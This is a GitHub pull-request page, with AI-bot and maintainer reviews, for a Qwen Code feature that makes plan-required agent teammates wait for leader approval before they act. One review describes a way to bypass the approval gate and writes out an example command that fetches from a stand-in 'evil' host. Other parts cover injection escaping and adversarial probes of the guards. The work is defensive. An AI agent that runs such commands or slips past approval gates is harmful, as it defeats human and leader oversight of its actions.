feat(core): Add leader approval for plan-required teammates - #6138
Conversation
Add a controlled plan-mode approval path for named teammates that require leader approval before execution. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
Code Coverage Summary
CLI Package - Full Text ReportCore Package - Full Text ReportFor detailed HTML reports, please see the 'coverage-reports-22.x-ubuntu-latest' artifact from the main CI run. |
|
Thanks for the PR! Template looks good ✓ — all required sections present including Risk & Scope and bilingual 中文说明. On direction: well-aligned. This is the natural P2 follow-up to P1 (#6087) which established subagent plan lifecycle restrictions. P2 closes the gap it left — a narrow leader approval bridge for plan-required teammates. The multi-agent coordination area is squarely within scope. On approach: the scope is large (+3212/-118, 43 files) but every file is load-bearing for the stated goal. The policy module extraction into Moving on to code review. 🔍 中文说明感谢贡献! 模板完整 ✓ — 包括 Risk & Scope 和双语说明。 方向:对齐。这是 P1 (#6087) 的自然后续——P1 建立了 subagent plan lifecycle 限制,P2 填补了它留下的缺口:为 plan-required teammate 提供窄 leader approval 桥。多 agent 协作方向完全在范围内。 方案:范围较大(+3212/-118,43 文件),但每个文件都是目标所需的。 进入代码审查 🔍 — Qwen Code · qwen3.7-max |
There was a problem hiding this comment.
Pull request overview
Adds a leader-mediated approval workflow for named teammates spawned with plan_mode_required, allowing them to work in child plan mode, submit a plan via exit_plan_mode, and remain blocked from execution until the leader resolves the request via the new team_plan_approval tool. This extends and preserves the existing P1 restriction that ordinary subagents/teammates cannot drive plan lifecycle.
Changes:
- Introduces
team_plan_approvalplus a TeamManager-backed pending-approval request/resolve mechanism. - Extends subagent/teammate tool policy + ToolSearch + direct runtime-call guards to permit only
exit_plan_modefor plan-required teammates and hide leader-only tools from subagent-like contexts. - Adds scheduler/tool-layer pre-confirmation blocking and per-agent approval-mode overrides (including in-process and arena spawns), with cleanup on abort/termination/failures.
Reviewed changes
Copilot reviewed 37 out of 37 changed files in this pull request and generated 4 comments.
Show a summary per file
| File | Description |
|---|---|
| packages/core/src/tools/tool-search.ts | Blocks leader-only tools and plan-lifecycle tools appropriately in subagent-like contexts. |
| packages/core/src/tools/tool-search.test.ts | Adds coverage for plan-required teammate ToolSearch selection behavior. |
| packages/core/src/tools/tool-names.ts | Registers TEAM_PLAN_APPROVAL canonical and display names. |
| packages/core/src/tools/team-plan-approval.ts | New tool to approve/reject pending teammate plan requests (leader-only). |
| packages/core/src/tools/team-plan-approval.test.ts | Unit tests for approval/rejection and runtime unavailability in subagent/teammate contexts. |
| packages/core/src/tools/task-update.ts | Adds pre-approval gating for plan-required teammates, allowing only “claim” semantics. |
| packages/core/src/tools/task-update.test.ts | Tests claim-allowed vs mutation-blocked behavior for plan-required teammates. |
| packages/core/src/tools/task-create.ts | Blocks task creation by plan-required teammates pre-approval. |
| packages/core/src/tools/task-create.test.ts | Tests task_create blocking for plan-required teammates pre-approval. |
| packages/core/src/tools/send-message.ts | Blocks send_message by plan-required teammates pre-approval. |
| packages/core/src/tools/send-message.test.ts | Tests send_message blocking for plan-required teammates pre-approval. |
| packages/core/src/tools/exitPlanMode.ts | Adds plan-required teammate exit path that creates a leader approval request and restores mode on approval. |
| packages/core/src/tools/exitPlanMode.test.ts | Tests approve/reject flows for plan-required teammate exit_plan_mode. |
| packages/core/src/tools/agent/agent.ts | Adds plan_mode_required parameter and routes it through to TeamManager spawn. |
| packages/core/src/tools/agent/agent.test.ts | Validates schema exposure and runtime/validation constraints for plan_mode_required. |
| packages/core/src/index.ts | Exports the new TeamPlanApprovalTool types. |
| packages/core/src/followup/speculationToolGate.ts | Treats team_plan_approval as a speculation boundary tool. |
| packages/core/src/followup/speculationToolGate.test.ts | Updates boundary-tool coverage to include TEAM_PLAN_APPROVAL. |
| packages/core/src/core/permissionFlow.ts | Exposes defaultPermission in permission flow results for downstream gating logic. |
| packages/core/src/core/coreToolScheduler.ts | Adds pre-confirmation blocking and allowlist logic for plan-required teammates awaiting approval. |
| packages/core/src/core/coreToolScheduler.test.ts | Adds tests ensuring plan-required teammate blocking happens before confirmation/PM allow-rules. |
| packages/core/src/core/client.ts | Adjusts plan-mode reminder behavior to exclude plan-required teammates from plan-only reminders. |
| packages/core/src/config/config.ts | Registers lazy loading for TEAM_PLAN_APPROVAL. |
| packages/core/src/agents/team/types.ts | Extends TeammateIdentity with planModeRequired. |
| packages/core/src/agents/team/TeamManager.ts | Implements pending plan-approval request lifecycle, prompt addendum wiring, and cleanup. |
| packages/core/src/agents/team/TeamManager.plan-approval.test.ts | Thorough test suite for request delivery, spoofing defense framing, and cleanup/abort behavior. |
| packages/core/src/agents/team/promptAddendum.ts | Adds dedicated prompt addendum for plan-required teammates. |
| packages/core/src/agents/team/promptAddendum.test.ts | Verifies plan-required prompt guidance vs default teammate prompt guidance. |
| packages/core/src/agents/runtime/subagent-plan-tool-policy.ts | Adds plan-required teammate state helpers and leader-only tool gating. |
| packages/core/src/agents/runtime/subagent-plan-tool-policy.test.ts | Tests exit-only allowance and reminder selection behavior. |
| packages/core/src/agents/runtime/agent-core.ts | Extends tool filtering and direct-call errors for leader-only tools; keeps exit_plan_mode for plan-required teammates. |
| packages/core/src/agents/runtime/agent-core.test.ts | Adds coverage ensuring exit_plan_mode is retained only for plan-required teammates. |
| packages/core/src/agents/backends/types.ts | Adds optional per-agent approvalMode to in-process spawn configs. |
| packages/core/src/agents/backends/InProcessBackend.ts | Implements per-agent approval-mode overrides with cleanup and failure-safe resource handling. |
| packages/core/src/agents/backends/InProcessBackend.test.ts | Tests per-agent approval override isolation and cleanup behavior on failures. |
| packages/core/src/agents/arena/ArenaManager.ts | Forwards arena approvalMode into in-process spawn configs. |
| packages/core/src/agents/arena/ArenaManager.test.ts | Tests arena approvalMode propagation into in-process backend spawn configs. |
💡 Add Copilot custom instructions for smarter, more guided reviews. Learn how to get started.
Code ReviewIndependently, I'd approach this the same way: a No critical blockers found. Specific observations after reading the full diff:
One minor test coverage note (not a code bug): the maintainer's adversarial probe found that the claim-narrowing test exercises TestingUnit tests: 650 tests pass across all 16 test files ✅ Ran locally in the worktree: TypeScript: core package clean — Diff check: no whitespace errors. Maintainer verification: @wenshao posted a comprehensive verification report including mutation testing (10/10 guards confirmed load-bearing), adversarial probing (12/12 passed), and A/B type-check comparison confirming zero new type errors. The mutation M8 is worth highlighting: it proves the scheduler pre-approval gate cannot be bypassed by a permission allow-rule. Tmux real-scenario testing: N/A — this PR adds internal team-agent approval infrastructure requiring multi-agent team orchestration. Cannot be meaningfully exercised via a single 中文说明代码审查独立方案与 PR 一致。PR 的实现匹配或超过基线方案。 未发现关键阻塞问题。 关键观察:
一个小测试覆盖缺口(非代码 bug):claim 收窄测试未覆盖带值的 测试单元测试:16 文件 650 测试全部通过 ✅ TypeScript:core 包通过 — Diff 检查:无空白错误。 维护者验证:@wenshao 发布了全面验证报告,包括变异测试(10/10 守卫承重)、对抗性探针(12/12 通过)和 A/B 类型检查比较确认零新增错误。 Tmux 真实场景测试:不适用 — 内部 team-agent 审批基础设施需要多 agent 团队协作,无法通过单条命令验证。650 个单元测试提供了强有力的行为验证。 — Qwen Code · qwen3.7-max |
|
Stepping back — this PR solves a real architectural gap. P1 correctly prevented subagents from driving the parent plan lifecycle, but left no path for a named teammate to propose and get approval for a plan. This P2 closes that gap with a narrow, well-scoped approval bridge. My independent proposal matched the PR's approach, and the implementation exceeds it in careful ways: the approval-mode override reference counting prevents leaks across agent lifecycles, the XML escaping prevents injection from teammate-authored content, and the scheduler-level pre-approval blocking catches bypass attempts before the permission manager even evaluates. The maintainer's independent verification adds strong confidence: mutation testing confirms every security guard is load-bearing (10/10), adversarial probing confirms all boundaries hold (12/12), and A/B type-check comparison confirms zero new errors. The only gap found was a minor test-only coverage issue (not a code bug). 650 tests across 16 files all pass. The code is straightforward — no over-abstraction, no speculative features. Every file in the diff is needed for the stated goal. If I had to maintain this in six months, I'd thank the author for the clear separation between policy ( Approving. ✅ 中文说明回顾整体——这个 PR 解决了一个真实的架构缺口。P1 正确阻止了 subagent 驱动 parent plan lifecycle,但没有为 named teammate 提供提出计划并获批的路径。P2 用窄范围、精确的审批桥填补了这个缺口。 独立方案与 PR 一致,实现在细致方面超过预期:approval-mode override 引用计数防止泄漏,XML 转义防止注入,scheduler 级预确认拦截在 permission manager 之前捕获绕过尝试。 维护者独立验证增加了强信心:变异测试确认每个安全守卫都承重(10/10),对抗性探针确认所有边界有效(12/12),A/B 类型检查确认零新增错误。唯一缺口是仅测试层的覆盖问题(非代码 bug)。 16 文件 650 测试全部通过。代码直白——无过度抽象,无投机特性。diff 中每个文件都是目标所需的。 批准 ✅ — Qwen Code · qwen3.7-max |
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
LGTM, looks ready to ship. ✅
DragonnZhang
left a comment
There was a problem hiding this comment.
Automated Review Summary (3-agent deep analysis)
Dimensions reviewed: correctness, security, code quality
Verdict: No additional HIGH confidence findings beyond the 4 existing Copilot comments.
Analysis highlights
-
Plan approval flow (
TeamManager,exitPlanMode,team-plan-approval,coreToolScheduler): The approval bridge is correctly implemented with proper promise-based coordination, abort signal handling, cleanup on teammate termination/team cleanup, and defense-in-depth runtime checks. ThesetApprovalModeoverride increateApprovalModeConfigOverridecorrectly delegates toConfig.prototype.setApprovalModein both branches (base AUTO vs non-AUTO), differing only in PermissionManager isolation. The scheduler's pre-approval gate correctly allows read-only tools and claim-onlytask_updatewhile blocking execution tools. -
Tool exposure policy (
subagent-plan-tool-policy,agent-core,tool-search): Policy enforcement is consistent across all layers: explicit tool declarations, wildcard exposure, ToolSearch, runtime direct calls, and scheduler permission handling. ThegetExcludedToolsForCurrentContextfunction correctly carves outEXIT_PLAN_MODEonly for plan-required teammates. -
Per-agent config isolation (
InProcessBackend): ThecreateApprovalModeConfigOverrideproperly isolates child approval mode from the parent config, with cleanup that restores PermissionManager state. ThereleaseAgentResourcesmethod is called from all exit paths (normal completion, error, stopAll, shutdown). -
Channel worker supervisor: The heartbeat, restart policy, log redaction, and piped stdio changes are well-structured. Sensitive env var redaction is conservatively broad. The restart budget pruning correctly uses a sliding window.
-
Web UI session management (
DaemonSessionProvider,actions.ts): TheinitialSessionIdtosessionIdrename andmissingSessionBehaviorremoval are breaking API changes, but all internal consumers (web-shell,webui) are updated in this PR. The create-then-attach pattern withskipNextCleanupDetachSessionIdRefis complex but correctly handles the session lifecycle. -
Security: The plan approval envelope in
formatPlanApprovalEnvelopeproperly marks teammate-authored data as untrusted and escapes<to prevent tag injection. Thesanitize.tsregex broadening to\p{Cf}and\p{Variation_Selector}is a security improvement over the explicit character ranges.
This review was performed by an automated review bot using 3 parallel analysis agents.
Preserve teammate identity for in-process follow-up messages, gate pre-approval tools to an explicit safe allowlist, and keep child approval-mode state isolated from the parent trust and PermissionManager state. Add review-requested validation coverage for team plan approval request parameters and TeamManager guard paths. Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
🔍 Code Review Summary
Critical: 3 | Suggestions: 5
Static checks pass (tsc ✅, eslint ✅, 634 tests ✅). The architecture is sound — plan-required teammates start in read-only investigation mode and submit plans for leader approval. However, three critical bugs were found:
- savePlan overwrites leader's plan file —
createApprovalModeConfigOverridedoesn't isolateplansDir/sessionId, so the teammate's plan silently overwrites the leader's on disk. - Silent error swallowing after approval —
setApprovalModeSafelycatches all errors; if the mode transition fails, the teammate is told "approved" but stays stuck in PLAN mode. - Pre-approval gate bypass — The OR between the explicit allowlist and
defaultPermission === 'allow'lets AST-classified "read-only" shell commands (e.g.,FOO=$(curl evil) bash -c 'echo ok') bypass the leader approval gate.
All 3 critical findings have suggested fixes inline. 5 suggestions cover logging, timeout, refcounting, test coverage, and XML escaping gaps.
| } | ||
|
|
||
| const requestId = randomBytes(12).toString('hex'); | ||
| return new Promise<TeamPlanApprovalDecision>((resolve, reject) => { |
There was a problem hiding this comment.
💡 Suggestion: Pending approval Promise has no timeout
new Promise<TeamPlanApprovalDecision> waits indefinitely for the leader to respond. If the leader session ends, crashes, or the request is otherwise orphaned, the teammate blocks forever with no recovery path.
Fix: Race against a configurable timeout:
const timeoutMs = this.planApprovalTimeoutMs ?? 300_000; // 5 min default
return Promise.race([
approvalPromise,
new Promise<TeamPlanApprovalDecision>((resolve) =>
setTimeout(() => resolve({ approved: false, message: 'Plan approval timed out' }), timeoutMs)
),
]);🤖 Generated by Qwen Code Review — review
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
|
@qwen-code /triage |
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
LGTM, looks ready to ship. ✅
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
Reviewed with 9 parallel agents (correctness, security, code quality, performance, test coverage, 3× undirected audit) + build/test verification. Deterministic checks pass (tsc, eslint, 650 tests). No high-confidence issues found.
Downgraded from Approve to Comment: CI still running.
The architecture is sound — plan-required teammates start in read-only investigation mode and submit plans for leader approval, with policy enforcement across explicit tool declarations, wildcard tool exposure, ToolSearch, runtime calls, and scheduler permission handling. Test coverage is comprehensive.
10 low-confidence findings flagged for human review (see terminal output for details): getDefaultPermission='allow' on team_plan_approval, YOLO/AUTO_EDIT passthrough in trusted folders, scheduler gate third-branch overbreadth, silent savePlan failure, missing debug log on stale request_id, ENTER_PLAN_MODE unavailable post-approval, no-hooks fallback reference counting bypass, setApprovalMode PM null trick coupling, requestId escaping gap, and pre-approval guard duplication.
— qwen3.7-max via Qwen Code /review
✅ Maintainer verification report — real local build & testVerified at PR head 1. Existing test suite — greenAll 16 test files the PR touches pass at head: 16 files / 650 tests passed (the description said 634; a few more are present now, all green). 2. Type checking — PR introduces zero new type errors
3. Mutation testing — every security guard is load-bearingI disabled each guard one at a time and confirmed a specific named test flips red (then reverted clean). 10/10:
M8 is worth highlighting: it proves the pre-approval gate is not bypassable by a permission allow-rule — that property is directly tested ( 4. Independent adversarial probe — 12/12 passedI wrote my own probe (not part of the PR) against the real policy module:
5. Wiring sanity
Two review concerns I checked and consider non-issues
Scope / not covered
🇨🇳 中文版(完整对应)✅ 维护者验证报告 —— 本地真实构建与测试在 PR head 1. 既有测试套件 —— 全绿PR 触及的 16 个测试文件在 head 全部通过:16 文件 / 650 测试通过(描述里写 634,现在略多,全绿)。 2. 类型检查 —— PR 未引入任何新类型错误对 3. 变异测试 —— 每一处安全守卫都承重逐个禁用守卫,确认对应命名测试翻红(随后干净还原)。10/10:
M8 值得强调:它证明审批前拦截门不能被权限 allow-rule 绕过——该性质有直接测试( 4. 独立对抗性探针 —— 12/12 通过我自己写了一份探针(不属于 PR),直接打真实 policy 模块:
5. 接线检查
我核查过、认为不成立的两条评审意见
范围 / 未覆盖
|
Co-authored-by: Qwen-Coder <qwen-coder@alibabacloud.com>
|
@qwen-code /triage |
qwen-code-ci-bot
left a comment
There was a problem hiding this comment.
LGTM, looks ready to ship. ✅
What this PR does
This PR adds a controlled leader-approval path for named teammates spawned with
plan_mode_required. A plan-required teammate starts in its own child plan mode, can continue read-only investigation and submit its plan withexit_plan_mode, and waits for the team leader to resolve that request with the newteam_plan_approvaltool before it can execute.The change keeps the P1 restriction for ordinary subagents and teammates:
enter_plan_moderemains unavailable, ordinary subagent-like agents still cannot use plan lifecycle tools, and the plan-required exception only exposesexit_plan_modefor the named teammate case. The policy is enforced across explicit tool declarations, wildcard tool exposure, ToolSearch, runtime direct calls, and scheduler permission handling.It also isolates per-agent approval mode state from the parent config, forwards arena approval mode into in-process agents, and cleans up pending plan approval requests and per-agent resources on abort, teammate termination, setup failure, and team cleanup.
Why it's needed
P1 correctly prevented subagents from driving the parent plan lifecycle, but P2 needs a safe way for a named teammate to be forced through a plan-first workflow. Using ordinary
send_messageor the existing user confirmation UI would either bypass the intended leader approval semantics or mix teammate approval with parent/user plan mode state.This PR gives plan-required teammates a narrow approval bridge:
exit_plan_modecreates an in-memory leader approval request, approval cannot bypass the leader's own plan mode, rejection leaves the teammate in plan mode for revision, and approval restores the child to an execution mode that is safe for the current workspace and leader state.Reviewer Test Plan
How to verify
Spawn a team and create a named teammate with
plan_mode_required: true. Confirm the teammate starts in plan mode, can claim an unowned pending task, can inspect/read files, cannot call execution or coordination tools such assend_messageortask_createbefore approval, and can callexit_plan_modeto deliver a leader plan approval request. As the leader, callteam_plan_approvalwith reject and confirm the teammate remains in plan mode and can resubmit; call approve while the leader is still in plan mode and confirm the request stays pending; exit leader plan mode and approve again, then confirm the teammate can execute.I verified the behavior with targeted unit coverage for policy exposure, scheduler pre-confirmation blocking, PermissionManager allow-rule bypass protection, exit/approval approve and reject flows, pending request cleanup, per-agent approval mode isolation, arena in-process approval forwarding, prompt guidance, ToolSearch, direct runtime calls, and speculative tool boundaries.
Commands run locally:
cd packages/core && npx vitest run src/agents/runtime/subagent-plan-tool-policy.test.ts src/agents/runtime/agent-core.test.ts src/agents/team/TeamManager.plan-approval.test.ts src/agents/team/promptAddendum.test.ts src/tools/team-plan-approval.test.ts src/tools/exitPlanMode.test.ts src/tools/agent/agent.test.ts src/tools/tool-search.test.ts src/tools/send-message.test.ts src/tools/task-create.test.ts src/tools/task-update.test.ts src/followup/speculationToolGate.test.ts src/agents/backends/InProcessBackend.test.ts src/agents/arena/ArenaManager.test.ts src/core/coreToolScheduler.test.ts src/core/permissionFlow.test.tspassed with 16 files and 634 tests.npm run typecheckpassed.npm run buildpassed with existing warnings for Browserslist data, large Vite chunks, and 15 VS Code companion curly-rule warnings.git diff --check origin/main..HEADpassed.Evidence (Before & After)
N/A. This is core/team-agent behavior covered by unit tests rather than a visual or TUI change.
Tested on
Environment (optional)
macOS with Node.js v22.22.3. After rebasing onto the latest
main, I rannpm installto refresh local workspace dependencies to the current lockfile;simple-gitresolved to 3.36.0, which is required by the currentmaintype definitions.Risk & Scope
plan_mode_requiredis only accepted for a named teammate when an active team exists, and ordinary subagent/team-agent plan lifecycle restrictions remain intact.Linked Issues
References #6087.
中文说明
What this PR does
这个 PR 为使用
plan_mode_required启动的 named teammate 增加受控的 leader approval 路径。plan-required teammate 会在独立的 child plan mode 中启动,可以继续只读调查并用exit_plan_mode提交计划,然后等待 team leader 使用新的team_plan_approval工具审批后才能执行。这个改动保留 P1 对普通 subagent 和 teammate 的限制:
enter_plan_mode仍不可用,普通 subagent-like agent 仍不能使用 plan lifecycle tools,plan-required 的例外只在 named teammate 场景暴露exit_plan_mode。该策略覆盖显式工具声明、通配符工具暴露、ToolSearch、运行时直调和 scheduler 权限处理。它还隔离了 per-agent approval mode 状态,避免污染 parent config;把 arena approval mode 传入 in-process agents;并在 abort、teammate terminal、setup failure 和 team cleanup 时清理 pending plan approval request 与 per-agent resources。
Why it's needed
P1 正确阻止了 subagent 驱动 parent plan lifecycle,但 P2 需要一种安全方式,让 named teammate 被强制走 plan-first 工作流。使用普通
send_message或现有用户确认 UI 会绕过预期的 leader approval 语义,或者把 teammate approval 与 parent/user plan mode 状态混在一起。这个 PR 为 plan-required teammate 提供了一个窄审批桥:
exit_plan_mode创建内存中的 leader approval request,approval 不能绕过 leader 自己的 plan mode,reject 会让 teammate 留在 plan mode 中继续修改,approve 会根据当前 workspace 和 leader 状态把 child 恢复到安全的执行模式。Reviewer Test Plan
How to verify
创建 team,并用
plan_mode_required: true创建 named teammate。确认 teammate 会从 plan mode 启动,可以 claim 一个 unowned pending task,可以检查/读取文件,在审批前不能调用send_message或task_create等执行或协作工具,并且可以调用exit_plan_mode发送 leader plan approval request。作为 leader,先用team_plan_approvalreject,确认 teammate 留在 plan mode 并可重新提交;再在 leader 仍处于 plan mode 时 approve,确认 request 保持 pending;退出 leader plan mode 后再次 approve,确认 teammate 可以开始执行。我用针对性单测验证了策略暴露、scheduler 在 confirmation 前拦截、PermissionManager allow-rule 绕过防护、exit/approval approve 与 reject 流程、pending request 清理、per-agent approval mode 隔离、arena in-process approval 转发、prompt 指引、ToolSearch、运行时直调和 speculative tool boundary。
本地执行命令:
cd packages/core && npx vitest run src/agents/runtime/subagent-plan-tool-policy.test.ts src/agents/runtime/agent-core.test.ts src/agents/team/TeamManager.plan-approval.test.ts src/agents/team/promptAddendum.test.ts src/tools/team-plan-approval.test.ts src/tools/exitPlanMode.test.ts src/tools/agent/agent.test.ts src/tools/tool-search.test.ts src/tools/send-message.test.ts src/tools/task-create.test.ts src/tools/task-update.test.ts src/followup/speculationToolGate.test.ts src/agents/backends/InProcessBackend.test.ts src/agents/arena/ArenaManager.test.ts src/core/coreToolScheduler.test.ts src/core/permissionFlow.test.ts通过,结果为 16 个文件、634 个测试。npm run typecheck通过。npm run build通过,仍有既有 warning:Browserslist 数据过期、Vite chunk 过大,以及 VS Code companion 的 15 个 curly-rule warning。git diff --check origin/main..HEAD通过。Evidence (Before & After)
N/A。这是 core/team-agent 行为改动,由单元测试覆盖,不是可视或 TUI 改动。
Tested on
Environment (optional)
macOS,Node.js v22.22.3。rebase 到最新
main后,我运行了npm install以同步本地 workspace 依赖到当前 lockfile;simple-git解析到 3.36.0,这是当前main类型定义需要的版本。Risk & Scope
plan_mode_required只在已有 active team 且创建 named teammate 时可用,普通 subagent/team-agent 的 plan lifecycle 限制保持不变。Linked Issues
References #6087.